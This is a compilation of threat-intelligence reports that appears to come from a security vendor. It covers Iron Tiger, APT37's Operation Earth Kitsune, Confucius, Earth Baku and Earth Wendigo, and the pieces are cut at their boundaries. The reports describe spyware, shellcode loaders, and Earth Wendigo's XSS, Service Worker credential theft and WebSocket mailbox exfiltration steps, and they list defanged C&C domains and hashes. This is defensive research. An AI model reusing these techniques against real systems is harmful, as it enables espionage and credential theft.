While we were unable to identify all the targets, these targeting demographics demonstrate a geographical region of interest for Iron Tiger.
Among those targets, we could only identify one of them: a Taiwanese gaming development company.
Interestingly, we found a sample from the Reptile rootkit framework in that same company, as well as network requests to a subdomain that belongs to Earth Berberoka’s infrastructure.
We also noticed network requests from a Taiwanese IT development company to the subdomain trust[.]veryssl[.
]org, and the subdomain center.veryssl[.
]org is a C&C for one of the rshell samples we found.
This suggests the company could be compromised by the same threat actor.
Timeline
June 2021: Oldest Linux rshell sample found
November 2021: Threat actor modified version 2.2.0 of Windows MiMi chat installer to download and execute HyperBro backdoor
May 2021: Threat actor modified version 2.3.0 of Mac OS MiMi chat installer to download and execute “rshell” backdoor
Attribution and conclusion
We attribute this campaign to Iron Tiger for multiple reasons.
First, the dlpprem32.dll file linked to HyperBro shares certain characteristics (specifically imphash, RICH header) with previous samples already attributed to the group.
Also, the file names involved in the decoding and loading of HyperBro are similar to those we witnessed during our investigation last year.
Second, one of the Linux rshell samples used the IP address 45[.]142[.]214[.
]193 as its C&C.
In 2020, that IP address had a particular reverse DNS: nbaya0u2[.]example[.]com.
During our Operation DRBControl investigation, we found a HyperBro sample that had 138[.]124[.]180[.
]108 as its C&C.
This second IP address had nbaya0u1[.]example[.
]com as its reverse DNS.
However, as the rshell sample was found in 2021, we initially did not find this correlation strong enough to attribute the rshellmalware family to Iron Tiger.
Despite the fact that same state-sponsored threat actors tend to share their malware tools (such as gh0st, PlugX, and Shadowpad), this is not the case for HyperBro as far as we know.
The fact that we found this malware being used in this campaign is an additional indicator pointing towards Iron Tiger.
We also found some links to Earth Berberoka.
From one of the victims where we found an rshell sample, we also found a binary belonging to the Reptile rootkit framework, a rootkit identified as part of the arsenal of Earth Berberoka.
We also noticed network communications from this victim to a subdomain of Earth Berberoka, suggesting it could have been previously compromised by this threat actor.
We noticed a different system in the same situation, as well as the network connections to the subdomain trust[.]veryssl[.
]org domain name.
One of the rshell samples had center[.]veryssl[.
]org as the C&C.
Both findings suggest that those victims could be compromised by both threat actors, or that Earth Berberoka is actually a subgroup of Iron Tiger.
As a reminder, while investigating Earth Berberoka, we found multiple links to Iron Tiger that we detailed in our research.
Indicators of Compromise (IOCs)
You will find the list of IOCs here.
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Determining who is behind a malware campaign can be a challenging endeavor.
Threat actors generally don’t leave easily identifiable signatures in software designed to disrupt or otherwise harm an adversary.
However, by comparing key pieces of information with known sources, it is possible to determine when a campaign was likely perpetrated by a certain group.
This is even more true when the group has existed for many years and has many pieces of evidence to compare.
Recently, we uncovered the Operation Earth Kitsune campaign and published a detailed analysis of its tactics, techniques, and procedures (TTPs).
While analyzing the technical details of this malware, which includes two new espionage backdoors, we noticed striking similarities to other malware attributed to the threat actor known as APT37, also known as Reaper or Group 123.
We hope our thorough analysis of Operation Earth Kitsune will help others with data points for attribution in the future.
By some accounts, this group has been active since 2012, so there are many examples attributed to them to compare.
It is important to note that previous analysis of suspected APT37 activities from different security vendors date from 2016, and the captured samples for the Operation Earth Kitsune have been developed recently.
Because of this, finding code similarity is unlikely.
However, we were able to match some code reuse in one of the espionage backdoor’s functionalities.
In that sense, we are emphasizing TTPs correlation in this case.
In other words, even when the new samples are developed, the attacker may have reused many of the operational techniques.
Another important consideration for attribution is that we have some historical background for Operation Earth Kitsune.
Previously, we uncovered two different campaigns in 2019 under the name of SLUB malware.
Operation Earth Kitsune is a continuation of those campaigns.
Consequently, some of the attribution indicators will span and include the previous SLUB malware campaigns.
The following sections describe the different correlations and are divided into two main categories:
Correlation related to the malware author developing environment
Correlation associated with TTPs
Note that some leads are stronger than others; however, when combined, they suggest that the same threat actor behind malware previously attributed to APT37 is likely responsible for Operation Earth Kitsune.
Malware author’s developer environment
When determining attribution, the most interesting leads are the ones that can deduce information about the malware author’s working environment.
Sometimes, these leads can determine the preferred languages used in the developers’ environment.
There are also times when developers intentionally remove these associations and plant misleading information to avoid attribution.
That action by itself potentially introduces other leads that developers may forget to clean.
Operating system language version
During the analysis of the samples captured from the previous campaign related to SLUB in 2019, one of the samples, the SLUB loader exploiting CVE-2019-0803, contained a version resource section that included intentionally misleading planted data.
Figure 1 shows this:
Figure 1 Planted version information
This kind of misleading version data is quite common and does not have information relevant to attribution.
However, there is a secondary effect when the version resource is added to a binary.
For this, we are assuming this binary was compiled with a Visual Studio toolchain, which is indicated for various compiler identification tools.
When the version resource is compiled into the binary, a language ID is generated and created not in the resource payload but in the internal structure of the resource information that is not visible with Windows Explorer.
What is interesting is that this language ID is not determined by the Visual Studio current language.
Instead, it is determined by the operating system language at the time of the version resource inclusion.
Viewing this language ID requires the use of other tools.
Figure 2 shows the language ID for the SLUB dropper.
Figure 2.
Language ID of the Version Resource
We found this type of OS language leak in prior samples attributed to APT37.
One of the previous malware families attributed to APT37 is known as Freenki.
Some Freenki samples had leaked the OS language ID through this same mechanism.
The image (Figure 3) taken from an analysis of Freenki shows that the same logic applies when the resource is compiled into the binary.
Figure 3.
Freenki embedded resource
We assume there are multiple developers within APT37, and not all of them follow the same practices.
As such, not all samples may have the embedded resource that leaks the same OS language.
However, this commonality is just the first of many that lead us to believe the team attributed to the Freenki malware is the same team behind Operation Earth Kitsune.2
Leaked assert path and external blog references
Sometimes, the malware authors know that releasing symbol information is dangerous from an attribution point of view since it can reveal information about the working environment.
That information often gets stripped from binaries.
However, that is not the only scenario where malware developers leak path information about their environment.
In some instances, malware projects require external libraries, and some libraries used the “assert()” mechanism to help the developers debug unexpected conditions.
In these cases, the compiler includes a path to the source code file along with those “assert()” calls.
These paths leak information about the third-party libraries’ installed paths.
In our case, the samples from the Operation Earth Kitsune implemented the Mattermost command and control (C2) communication and leaked a local path.
Figure 4 shows the leaked path.
Figure 4.
Leaked assert() path
Public references to this path (the path to the c++ boost library) consist of Korean language blogs explaining how to set up a developer environment configuration using the same path.
We can also determine that this configuration was created manually because the default path installation does not support static compilation.
Here is a translation of the relevant section:
“Well, in the end, I modified the project configuration file as below, but it doesn't seem like best practice.
There seems to be a neat way to do it, but I seek advice from experienced people.”
It is also important to note that the same paths leaked through all the SLUB samples.
This includes samples from the older SLUB campaign in 2019 and the new version that supports Mattermost.
Figure 5.
Public blog in the Korean Language
These two indicators reveal that the malware author used an “assert()” path and referenced an external blog in the same manner as previously analyzed malware.
TTPs Correlation
In our previous detailed analysis of Operation Earth Kitsune, one of the delivery architecture for the espionage backdoors is designed as shown in Figure 6.
Figure 6.
Delivery architecture
While this mechanism may sound quite common in other campaigns, what is interesting is the details they have in common with previous campaigns attributed to APT37.
In 2017, Palo Alto’s Unit 42 detailed their findings around the Freenki malware.
Even though this analysis was three years before Operation Earth Kitsune, the attackers appear to have reused the same TTPs for delivering the malware.
Figure 7 shows delivery PowerShell script sections for both campaigns.
Figure 7.
PowerShell scripts downloading JPG files
The following TTPs are common in both campaigns related to the scripts in Figure 7:
Both have compromised websites where the malware samples are hosted and delivered to victim machines.
Both use PowerShell scripts to download and run the samples.
Both PowerShell scripts download multiple malware to the victim machine.
It appears the attacker is willing to implement multiple mechanisms for infecting the victim machine once it is compromised.
Both use different samples for the multiple malware downloaded.
Both use JPG as a delivering extension.
Multiple samples are delivered at the same time.
In both cases, at least one sample received command line arguments.
Another surprising similarity in the TTPs related to both campaigns is the path pointing to “udel_ok.ipp,”  as shown in Figure 7.
This is a JavaScript file that executes with wscript.exe.
Figure 8 shows the partial source code for this JavaScript.
Figure 8.
Javascript executing the malware.
What got our attention is that the samples were renamed to be similar to the naming convention of Windows update files (i.e., “Windows-KB275122-x86.exe”).
While analyzing the samples that have been previously attributed to APT37, we noticed that the persistence mechanism in Operation Earth Kitsune uses the same naming convention to auto-start itself through the Windows run registry key.
We also found that older samples from the previous SLUB campaigns in 2019 used a similar naming convention.
Figure 9 shows that SLUB used “Windows-RT-KB-2937636.dll,” while Freenki used “Windows-KB275122-x86.exe.”
Figure 9 Naming convention for persistence.
We can see how the Freenki malware, previous SLUB campaigns, and Operation Earth Kitsune share many common TTPs in their delivery and persistence mechanisms.
However, these are not the only commonalities.
Again, on its own, this might not be coincidental.
However, our analysis shows further similarities that imply correlation.
GNUBoard compromised web sites
In the blog describing Operation Earth Kitsune, we noted sites using the GNUBoard Content Management System (CMS) had been compromised and were used to host malware.
The malware campaigns previously attributed to APT37 also extensively used the exploitation of web sites hosted with GNUBoard CMS.
While analyzing multiple samples, we found indicators of this strategy across the various campaigns.
Figure 10 shows an example attributed to APT37 and Operation Earth Kitsune as a comparison.
The SLUB campaign also exploited and used GNUBoard websites as part of the infrastructure.
Figure 10.
Websites created using GNUBoard CMS
Exfiltration commands
As mentioned in the previous report on Operation Earth Kitsune, one of the espionage backdoors, named agfSpy, received a “JSON” configuration with a list of native Windows commands to execute.
The output of those commands is exfiltrated back to the agfSpy command and control (C2) server.
While analyzing one malware previously attributed to APT37, it executed practically the same command sequences including the paths and extensions.
Even when the threat actor was not using the “JSON” format, the commands embedded in the various samples show a surprising amount of similarities.
Figure 11 shows a comparison of the exfiltration commands between malware previously attributed to APT37 and Operation Earth Kitsune.
Note the following similarities:
The usage of paths C:\Users and D:\ are similar
The searching patterns are very similar
The extension list is very similar
Note that we are comparting a sample from 2016 with agfSpy, which is from 2020.
It makes sense that new campaigns coming from the same authors/groups will add new extensions like “.xlsx” to support updated versions of Office documents.
It is also clear that the actual interest is on the “.hwp” extension for Korean Office document listing support during exfiltration.
Figure 11.
Exfiltration command similarities.
Code sharing
When doing attribution, finding code sharing between different samples is one of the most desired discoveries.
However, in our case, this was difficult as we are comparing samples from 2016-2017 to those developed in 2020.
At the same time, practically all code for the SLUB malware was created from scratch.
Also, dneSpy and agfSpy are based on custom and newly developed code.
That makes it difficult to match code similarities, and that is why many of the indicators of code sharing are sparse across different samples.
However, one feature that is present in the previous malware attributed to APT37 and Operation Earth Kitsune is the screenshot capture.
We tried to find how this feature evolved across previous samples and the older SLUB samples.
During the analysis, we found a clear indication of code sharing for the screenshot functionality.
Figure 12 shows a comparison between the two samples.
While this code may have some related “internet code sharing post” origin, both samples share it.
They also have some changes that make sense, such as removing the error “failed to take…,” since this is not required for the malware functionality.
It is likely a late refactor to the code.
Figure 12.
Screenshot functionality comparison between SLUB and APT37
Working Hours
Analyzing the compile time of binaries between different samples can also provide a level of correlation between samples.
While malware authors can fake this, useful information can still be gleaned with enough samples.
In our case, we collected many samples across 2020, and we found that the compile dates and times follow a logical timeline according to the malicious activity.
Based on our analysis, we believe the malware author did not fake the compile times of the binaries.
Other public references also used the compiled binary time of samples attributed to APT37.
When compared to the compile times seen in Operation Earth Kitsune, there are several similarities.
The compile times that are listed on binaries provide an estimate of the threat actor's working hours and help approximate possible time zones where the malware was developed.
It is fair to assume that the developers work on daily working times.
When you have many samples to analyze, you can refine that expectation over time.
Figure 14 (below) shows a raw comparison across many samples using two time zones.
We can see how the UTC+9 time zone matches those previously attributed to APT37 and those from Operation Earth Kitsune.
These both equate to the daily working times for that time zone.
Figure 13.
Compile Time APT73 and Kitsune
During the capture of samples for Operation Earth Kitsune, we managed to dump information about the Mattermost server using its API and the token used by the malware itself.
Mattermost was being used as a C2 channel for the malware.
Part of the dumped information contained the action of the user with administration roles on the system.
That user was doing manual activities the majority of the time.
At the same time, we were able to locate the Mattermost server hosted in Greece, and that gave us the current time zone of the Mattermost server.
Having that reference, we plotted the actions of all users whose information we could obtain.
It is important to remember that, except for the administrator user, all other accounts were used as part of the malware deployment (SLUB malware).
Figure 15 shows a plot with “Y” representing the number of actions.
For example, an action for the SYSTEM_ADMIN could be to create a user, add a user to a channel, etc.
The “X” axis represents the hour of the day (in 24 hours).
No months are plotted, so this figure is like compressing all the activity across the full 2020-year in one day just to show the active hours in a day.
All the plots are located in UTC+9.
Figure 14.
Mattermost server activity.
Figure 15 shows that User_3 and User_4 have like random counts.
This is because those accounts are actually the ones the malware used during the infection logging activities to the Mattermost server.
However, the SYSTEM_ADMIN account has a different pattern because the actions are mostly due to manual administration activities.
Unsurprisingly, the SYSTEM_ADMIN hours perfectly line up with the daily working hours at UTC+9.
Conclusions
While no attribution is perfect, there are striking similarities between the malware attributed to APT37 and Operation Earth Kitsune.
Little can be gleaned from each individual piece, but when viewed as a whole, the group behind Operation Earth Kitsune is likely the same one behind the Freenki malware and other malware campaigns attributed to APT37.
This is somewhat surprising, considering Operation Earth Kitsune’s espionage tools were entirely fresh-developed.
We can summarize the correlated indicators in a general form as:
Use of Korean language in the system environment of the developers
Reuse of multiple TTPs during operation deployments:
GNUBoard compromised web sites
Multiple malware samples deployed at the same time
A similar organization in the deployment architecture
Reliance on public services and watering hole attacks to compromised victims
Some code reuse, even when the samples are completely different otherwise
Working hours for both matches
Exfiltration techniques and information interest are very similar if not fully matched
While it is always possible for another group to imitate the TTPs of a different group to confuse attribution, there does not seem to be any indication of that here.
Instead, what we see in SLUB and Operation Earth Kitsune is the evolution of an advanced threat actor over time: one that builds on what worked in the past to become more efficient in the present.
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Research
In today’s online chat and dating scene, romance scams are not uncommon, what with catfishers and West African cybercriminals potently toying with their victims’ emotions to cash in on their bank accounts.
It’s quite odd (and probably underreported), however, to see it used as a vector for cyberespionage.
We stumbled upon the Confucius hacking group while delving into Patchwork’s cyberespionage operations, and found a number of similarities.
Code in their custom malware bore similarities, for instance.
Confucius targeted a particular set of individuals in South Asian countries, such as military personnel and businessmen, among others.
Are Patchwork and Confucius the same group?
The commands in their backdoors do resemble each other.
The config files have a similar, custom structure, and both groups have infrastructure overlap.
However, we construe them to be different groups, possibly within the same community, with different objectives and modi operandi.
While Patchwork may be more straightforward with its predominantly malware-based attacks, Confucius’ can be inferred to be more nuanced, relying heavily on social engineering.
Exploiting the human psyche with chat apps
Probing Confucius’ infrastructure, we came across websites offering Windows and Android chat applications, most likely iterations of its predecessor, Simple Chat Point: Secret Chat Point, and Tweety Chat.
We are admittedly uncertain of the extent — and success — of their use, but it’s one of the ingredients of the group’s operations.
While the chat applications indeed have real chat features (although the communication is not anonymous, as advertised), they have backdoor routines and file-stealing behaviors that get triggered when specific words are sent to the app: collecting and harvesting all SMS messages, contacts, and accounts.
Tweety Chat’s Android version can record audio, too.
Its latest version can mute the device (i.e., take out the ringtone and vibration features) and sync call logs and SMSs.
We further tested Tweety Chat and saw red flags indicating their targets of interest: verification emails with a physical address whose postal code is assigned to a provincial capital that also appears (upon logging in) as a chat channel in Tweety Chat.
Figure 1: Tweety Chat’s interface (top), and code snippets showing the file types it steals (bottom)
Romance in cyberespionage
The user list, chat room names, and content of the applications were stored in a remote server without any authentication.
The chat logs shed light on the social engineering used by the operators to persuade victims to install the cyberespionage malware on their Android devices.
The first user and chatroom were created on August 27, 2017, and were probably the app authors’ testing ground.
The succeeding users and chatrooms were created on October 31 and December 12 the latest.
A certain hayat22 and love piqued our interest.
hayat22, supposedly a female student, engaged in an online romance with a target whose handle was love, describing himself as living in South Asia working in garments manufacturing and wholesaling.
Over the course of their correspondence, love suggested using WhatsApp to communicate.
hayat22 declined, saying she felt safer using Tweety Chat.
love refused, but when hayat22 demurred and gave love an online cold shoulder, love tried installing Tweety Chat — and failed.
He claimed that he wasn’t able to install the app.
hayat22 quickly lost interest and stopped replying to him altogether.
She also sent him a screenshot to show what Tweety Chat looked like.
We’re not sure how love wound up in the chat room or how he met hayat22.
He was probably either using the Windows version of Secret Chat Point or its web interface, which explains why hayat22 was urging him to install Android Tweety Chat.
In an earlier chat group, an operator called Heena urged the members to install Secret Chat Point on other people’s mobile devices to get perks like credits or the ability to “go invisible”.
In another chat room called “Maira’s room”, a target of interest disclosed he was a government officer traveling back from a northern city near the country’s provincial capital.
A few days after, the operator stopped answering in the chat room, and her user account was deleted from the server.
Figure 2: ByeBye Shell’s interface showing Confucius’ campaigns  Figure 3: Screenshot showing a group chat where the moderator is urging users to install Tweety Chat
Figure 4: Screenshot showing Tweety Chat promoted in social media
A tangled web of malware
Confucius’ operations include deploying bespoke backdoors and stealing files from their victim’s systems with tailored file stealers, some of which bore resemblances to Patchwork’s.
The stolen files are then exfiltrated by abusing a cloud storage service.
Some of these file stealers specifically target files from USB devices, probably to overcome air-gapped environments.
Compared to Patchwork, whose Trojanized documents exploit at least five security flaws, Confucius’ backdoors are delivered through Office files exploiting memory corruption vulnerabilities CVE-2015-1641 and CVE-2017-11882.
Their malware’s resemblance to that of Patchwork’s is also notable.
The use of an exploit for a security flaw disclosed in December 2017 and their recent activities suggest Confucius is keenly trailing their targets.
Confucius has a miscellany of backdoors: sctrls, ByeBye Shell, remote-access-c3, and sip_telephone, to name a few.
One of its file stealers, swissknife2, abuses a cloud storage service as a repository of exfiltrated files.
At the time of research, there were around 60 victims whose data were uploaded to Confucius-owned cloud storage account.
There were also a few thousand files in the account that were later deleted.
Our research, Deciphering Confucius: A Look at the Group’s Cyberespionage Operations, delves into the group’s operations, the social engineering methods and gamut of malware it uses, and the countermeasures that organizations can adopt to mitigate them.
The list of indicators of compromise, which includes Trend Micro’s corresponding detections and solutions, is in this appendix.
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Mobile
We have uncovered a cyberespionage campaign being perpetrated by Earth Baku, an advanced persistent threat (APT) group with a known history of carrying out cyberattacks under the alias APT41.
This is not the group’s first foray into cyberespionage, and its long list of past cybercrimes also includes ransomware and cryptocurrency mining attacks.
Earth Baku deploys its ongoing campaign, which can be traced to as far back as July 2020, through multiple attack vectors that are designed based on different exploits or the infrastructure of its targeted victim's environment:
• SQL injection to upload a malicious file
• Installment through InstallUtil.exe in a scheduled task
• Possibly a malicious link (LNK) file sent as an email attachment
• Exploitation of the ProxyLogon vulnerability CVE-2021-26855 to upload a China Chopper web shell
This campaign uses previously unidentified shellcode loaders, which we have named StealthVector and StealthMutant, and a backdoor, which we have dubbed ScrambleCross.
Earth Baku has developed these new malware tools to facilitate targeted attacks on public and private entities alike in specific industries that are located in the Indo-Pacific region.
Thus far, the affected countries include India, Indonesia, Malaysia, the Philippines, Taiwan, and Vietnam.
Figure 1.
Countries affected by Earth Baku’s new campaign
Source: Trend Micro™ Smart Protection Network™ infrastructure
StealthVector
We initially observed StealthVector, a shellcode loader written in C/C++, in October 2020.
StealthVector is designed with various configurable features that make it easy for malicious actors to modify and tailor it to their needs, including a feature that disables Event Tracing for Windows (ETW), allowing the malware to run in stealth mode.
This loader can stealthily run its payload in various ways, such as using the CreateThread function, bypassing Microsoft’s Control Flow Guard (CFG), module stomping, and phantom dynamic link library (DLL) hollowing.
StealthMutant
Like StealthVector, StealthMutant, which supports both 32-bit and 64-bit operating systems, can disable ETW.
This loader, written in C#, has been used by malicious actors since July 2020.
Many of the StealthMutant samples we have analyzed use AES-256-ECB for decryption; alternatively, an earlier variant of the loader uses XOR.
After its payload is decrypted, StealthMutant performs process hollowing to execute its payload in a remote process.
ScrambleCross
Both StealthMutant and StealthVector contain a payload of either the Cobalt Strike beacon or ScrambleCross, a newly discovered backdoor.
ScrambleCross receives instructions from its command-and-control (C&C) server that allow it to receive and manipulate plug-ins.
However, we have yet to retrieve and study one of these plug-ins.
It has many of the same capabilities as another backdoor, Crosswalk, which has also been used by Earth Baku.
For example, both calculate the hash of the code section as an anti-bugging technique, both are designed as fully position-independent code, and both support various kinds of network communication protocols.
Connections to other campaigns
Earth Baku’s recent activities are related to another campaign that has been active since at least November 2018, as reported by FireEye and Positive Technologies.
While the older campaign uses a different shellcode loader, which we have named LavagokLdr, we have observed similar code and procedures between LavagokLdr and StealthVector.
In the same vein, we have observed that LavagokLdr’s payload, Crosswalk, and one of StealthVector’s payloads, ScrambleCross, perform similar techniques for decryption and signature checking.
But because Earth Baku has updated its toolset with StealthVector, StealthMutant, and ScrambleCross for this new campaign, we have identified it as its own separate operation.
Figure 2.
A timeline of Earth Baku’s previous campaign as APT41 and its new campaign
How Earth Baku creates its malware tools
Earth Baku is known for its use of self-developed tools.
To continue doing so, it appears to be filling its ranks with malicious actors who are pooling their diverse skills.
Interestingly, the new malware tools involved in Earth Baku’s new campaign indicates that the APT group has likely recruited members who specialize in low-level programming, software development, and red-team techniques.
For more details about Earth Baku’s new campaign, read our research paper "Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor."
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Research
We discovered a new campaign that has been targeting several organizations — including government organizations, research institutions and universities in Taiwan — since May 2019, aiming to exfiltrate emails from targeted organizations via the injection of JavaScript backdoors to a webmail system that is widely-used in Taiwan.
With no clear connection to any previous attack group, we gave this new threat actor the name “Earth Wendigo.”
Additional investigation shows that the threat actor also sent spear-phishing emails embedded with malicious links to multiple individuals, including politicians and activists, who support movements in Tibet, the Uyghur region, or Hong Kong.
However, this is a separate series of attacks from their operation in Taiwan, which this report covers.
Figure 1.
The attack flow of Earth Wendigo’s operation
Figure 2.
An example of a spear-phishing email sent by Earth Wendigo to a democracy activist.
The text mentions that someone had tried to log in to the user’s account and that Google had blocked the login attempt.
The blue button says, “Check here.”
Initial Access and Propagation
The attack begins with a spear-phishing email that is appended with obfuscated JavaScript.
Once the victim opens the email on their webmail page, the appended JavaScript will load malicious scripts from a remote server operated by the threat actor.
The scripts are designed to perform malicious behaviors, including:
Stealing browser cookies and webmail session keys and then sending them to the remote server.
Appending their malicious script to the victim’s email signature to propagate the infection to their contacts.
Exploiting a webmail system’s cross-site scripting (XSS) vulnerability to allow their malicious JavaScript to be injected on the webmail page permanently.
Registering a malicious JavaScript code to Service Worker, a web browser feature that allows JavaScript to intercept and manipulate HTTPS requests between client and server.
The registered Service Worker script can hijack login credentials and modify the webmail page to add malicious scripts in case the attackers were unable to inject the XSS vulnerability mentioned above.
(This is also the first time we found an in-the-wild attack that leverages Service Worker.)
Exfiltration of the mailbox
After the attackers gain a foothold into the system — either through XSS injection or Service Worker — the next (and final part) of the attack chain, the exfiltration of the mailbox, is initiated.
The Earth Wendigo threat actor will establish a WebSocket connection between the victims and their WebSocket server via a JavaScript backdoor.
The WebSocket server instructs the backdoor on the victim’s browser to read emails from the webmail server and then send the content and attachments of the emails back to the WebSocket server.
We will share more details of the attack chain in the following paragraphs.
The victim will receive a spear-phishing email disguised as an advertisement with a discount coupon from an online shopping website — however, an obfuscated malicious JavaScript is embedded inside.
The email leverages the webmail system’s search suggestion function to trigger the webpage to execute their script instead of directly running the malicious script.
This is done to evade static security checks.
The email will generate multiple email search requests to the webmail system via the CSS function ”backgroup-image” using their malicious code as a search keyword to make the system register it as a frequently searched keyword.
Next, a new “embed” HTML element is created to load the result of the search suggestion by finding the keyword “java” on the webmail server.
The returned suggestion is the JavaScript code that was searched during the first step and has now been indirectly loaded and used to execute the malicious code.
This approach allows the threat actor to hide their malicious code inside CSS elements to prevent detection by security solutions that employ static analysis.
At the end of this step, the code will create another new script element that will load other malicious JavaScript codes from remote servers.
Figure 3.
The spear-phishing email disguised as an advertisement for a shopping coupon
Figure 4.
The malicious JavaScript hidden inside the CSS element
Interestingly, we found many other emails that have injected their malicious JavaScript code at the bottom to load their malicious code from remote servers.
However, these emails don’t look like phishing emails and seemed more like real email sent from normal users within the same organization.
Further investigation revealed that the attacker had modified the victims’ email signatures through malicious code injection.
This means that all of the emails sent by the victim with the modified mail signature will have the malicious code appended at the end, which is how we found a normal email that was also injected with malicious code.
We think the threat actor used this approach to attempt to infect the victim’s contacts for further propagation.
Figure 5.
Malicious script appended on the victim’s email signature
Figure 6.
The malicious script used to read and modify the victim’s email signature.
As soon as the user executes the malicious script in the email, a cookie stealer script will be delivered and launched on the browser.
The script generates a request to “/cgi-bin/start,” which is a wrapper page embedded with the webmail session key.
The script will then extract the session key from the page while also collecting browser cookies.
The script will send an HTTP GET request to remove the server with all the collected keys and cookies appended on the query string to transfer the stolen information.
The framework used to deliver and manage these XSS attack scripts is called “XSSER.ME” or “XSS Framework.” The stolen session keys and browser cookies are also sent to the framework to store in the database.
While a stolen session key may allow the attacker to log into their target’s webmail system without a password, note that this is not the Earth Wendigo operation's ultimate goal.
Figure 7.
The malicious script to steal the browser cookie and session key
Infection of email accounts
After the initial execution of malicious code with the approaches we mentioned above, the attacker implemented steps to ensure that their malicious script would be constantly loaded and executed by their targets.
The actor prepared two different infection methods.
The first involves injecting malicious code into the webpage via an XSS vulnerability on the webmail system.
The vulnerability, which exists inside the webmail system’s shortcut feature, allows users to create links on the webmail front page.
The attacker can add a shortcut with a crafted payload by exploiting the XSS vulnerability, which replaces part of the original script from the webmail system with malicious JavaScript code.
If this is successful, the victim will load the malicious code whenever they access the webmail page with the malicious shortcut added.
Note that the infection will not impact all of the users on the system simultaneously, but only those with infected mail accounts.
We have reported the vulnerability to the company that developed the webmail system, which informed us that the vulnerability had been fixed since January 2020.
It should not affect those who are using the latest version of the webmail system.
Figure 8.
A shortcut containing malicious code that was added to the webmail system
Figure 9.
The query format used to trigger the XSS vulnerability
Service Worker script exploitation
Another way the threat actor infects victims is by registering malicious JavaScript to the Service Worker script, which is a programmable network proxy inside the browser that provides an extended layer for websites and web applications to handle their communications while the network is unreachable.
The security risk of Service Worker has been discussed and demonstrated by both PoC work and academic research — for example, a registered Service Worker could intercept and manipulate the requests between the client and the web server.
By examining one of the malicious scripts from the Earth Wendigo campaign, we discovered that it uploaded the tampered Service Worker script to the webmail server disguised as an original script provided by the server.
It then registers the uploaded script to the user’s Service Worker before removing it from the server immediately after registration.
The registered Service Worker script checks the URL path from an intercepted request and performs various responses:
For HTTPS POST requests sent to “/cgi-bin/login,” which is the API for the authentication of webmail user login and contains the username and password pair, the Service Worker script will copy the pair and send it to a remote server.
For requests sent to “/cgi-bin/start,” which is a page wrapper used to show the main webmail page, the Service Worker script will reply by sending another page to the victim.
This new page is almost similar to the original wrapper but injected with a script element meant to load malicious script from Earth Wendigo’s server.
Therefore, the victim also loads the malicious script with the replaced wrapper page whenever they access the webmail server with the malicious Service Worker enabled in the background.
Figure 10.
The malicious script used to upload and register the Service Worker script
Figure 11.
The Service Worker script used to steal credentials and reply to the user with a modified wrapper page
Figure 12.
The wrapper page with the malicious script (highlighted)
Email exfiltration
At the end of the attack, Earth Wendigo delivers a JavaScript code that then creates a WebSocket connection to a remote server and executes the script returned from the server.
We found that the returned script is a backdoor that gets its instructions from the WebSocket server.
It has only one command, “get(‘URL’),” to perform a request from the victim’s browser to the webmail server and collect the response back to the WebSocket server.
The usage of the backdoor we found, in this case, is for the mailbox exfiltration.
Figure 13.
The email exfiltration flow with WebSocket backdoor
Figure 14.
The script used to establish WebSocket communication
Figure 15.
The main script of the backdoor used to get the URL payload and send it back to the WebSocket server
Figure 16.
An example of WebSocket communication traffic and email exfiltration flow
A typical sequence used for mailbox exfiltration:
1.
The WebSocket server returns a backdoor script that is executed on the victim’s browser
2.
The backdoor sends the webmail session key, browser cookies, webpage location, and browser user agent string back to the WebSocket server to register the victim’s information
3.
The WebSocket server sends the command “get(‘/cgi-bin/folder_tree2?cmd=…’)” to grab the list of existing mailboxes under the victim’s mail account
4.
The WebSocket server sends the command “get(‘/cgi-bin/msg_list?cmd=…’)” to grab the list of emails inside a mailbox that they are interested in reading
5.
The WebSocket server sends the command, “get(‘/cgi-bin/msg_read?cmd=pring_mail&…’)” to read the email listed in the response seen in the previous step; it reads each email sequentially from the mailbox and sends it back to the WebSocket server
6.
If a stolen email has attachments, the WebSocket server sends the command “get(‘att:/cgi-bin/downfile/…’)” to grab the relevant attachment from the webmail server and slice it into 4096 bytes as chunks to return to the WebSocket server.
These steps are repeatedly performed until they receive the victim’s entire mailbox.
Additional Findings
Besides their attack on webmail servers, we also found multiple malware variants used by Earth Wendigo.
These malware variants, which are written in Python and compiled as Windows executables, communicate to a malicious domain — the same one used in this attack.
Most of them are shellcode loaders that load embedded shellcode likely from Cobalt Strike.
Some of them are backdoors that will communicate with the command and control (C&C)) server to request and execute additional python code.
However, we don’t know what code they delivered because the server was already down when we were verifying the malware variants.
It’s also not clear how they were delivered to the victims.
Figure 17.
The Python script decompiled from the malware
Conclusion
While Earth Wendigo uses typical spear-phishing techniques to initiate their attack, the threat actor also uses many atypical techniques to infiltrate the targeted organizations, such as the use of mail signature manipulation and Service Worker infection.
The impact of spear-phishing attacks can be minimized by following security best practices, which include refraining from opening emails sent by suspicious sources.
We also encourage both users and organizations to upgrade their servers to the latest version to prevent compromise via vulnerability exploits.
To avoid XSS attacks similar to what we described in this report, we recommend adapting Contant-Security-Policy (CSP) for websites.
Indicators of Compromise
Indicator
Description
Detection
mail2000tw[.
]com
Domain operated by Earth Wendigo
bf[.]mail2000tw[.
]com
Domain operated by Earth Wendigo
admin[.]mail2000tw[.
]com
Domain operated by Earth Wendigo
googletwtw[.
]com
Domain operated by Earth Wendigo
bf[.]googletwtw[.
]com
Domain operated by Earth Wendigo
ws[.]googletwtw[.
]com
Domain operated by Earth Wendigo
admin[.]googletwtw[.
]com
Domain operated by Earth Wendigo
anybodyopenfind[.
]com
Domain operated by Earth Wendigo
support[.]anybodyopenfind[.
]com
Domain operated by Earth Wendigo
supports[.]anybodyopenfind[.
]com
Domain operated by Earth Wendigo
supportss[.]anybodyopenfind[.
]com
Domain operated by Earth Wendigo
a61e84ac9b9d3009415c7982887dd7834ba2e7c8ea9098f33280d82b9a81f923
Earth Wendigo
XSS attack script
Trojan.JS.WENDIGOE.A
66cf12bb9b013c30f9db6484caa5d5d0a94683887cded2758886aae1cb5c1c65
Earth Wendigo
XSS attack script
Trojan.JS.WENDIGOE.A
4cdaca6b01f52092a1dd30fc68ee8f6d679ea6f7a21974e4a3eb8d14be6f5d74
Earth Wendigo
XSS attack script
Trojan.JS.WENDIGOE.A
f50a589f3b3ebcc326bab55d1ef271dcec372c25d65f381a409ea85929a34b49
Earth Wendigo
XSS attack script
Trojan.JS.WENDIGOE.A
e047aa878f9e7a55a80cc1b70d0ac9840251691e91ab6454562afbff427b0879
Earth Wendigo
XSS attack script
Trojan.JS.WENDIGOE.A
a1a6dc2a6c795fc315085d00aa7fdabd1f043b28c68d4f98d4152fe539f026f1
